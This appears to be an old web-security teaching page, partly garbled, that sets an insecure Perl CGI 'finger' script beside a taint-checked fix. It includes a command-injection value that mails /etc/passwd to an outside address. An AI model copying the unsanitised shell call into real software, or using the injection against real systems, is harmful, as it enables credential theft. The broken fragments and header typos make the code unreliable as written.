|
Example (insecure) PERL script for "finger" on the WWW
#!/usr/local/bin/perl
require "cgi-lib.pl";
&ReadParse(*input); #query is sent w/ FORM action
# $query = $ENV{'QUERY_STRING'}; #query is sent w/ GET
action
print "Context-type:text/html\n\n"; # http
header...REQUIRED
print "<HTML><HEAD><TITLE>Finger
Script</TITLE>";
print "</HEAD>\n<BODY>\n<PRE>\n";
$fin_out = `finger $input{usernames}`;
print "$fin_out\n</PRE>\n</BODY></HTML>;
This code uses "tainted" variables in system calls:
smith Andrews ali
",
the URL will return the "finger" output for each of
these users.
smith; mail me@whereever.org
</etc/passwd", the URL will return the output
from "finger smith" and will
mail the contents of the system password file.
Secure PERL script
#!/usr/local/bin/perl -T
require "cgi-lib.pl";
&ReadParse(*input); #query is sent w/ FORM action
# $query = $ENV{'QUERY_STRING'}; #query is sent w/ GET
action
print "Context-type:text/html\n\n"; # http
header...REQUIRED
print "<HTML><HEAD><TITLE>Finger
Script</TITLE>";
print "</HEAD>\n<BODY>\n<PRE>\n";
$input{usernames} =~ /^([\w.]*)$/; #untaint
$fin_out = $1;
$out_line = `finger $fin_out`;
print "$out_line\n</PRE>\n</BODY></HTML>;
Use of "taintperl" disallows certain actions.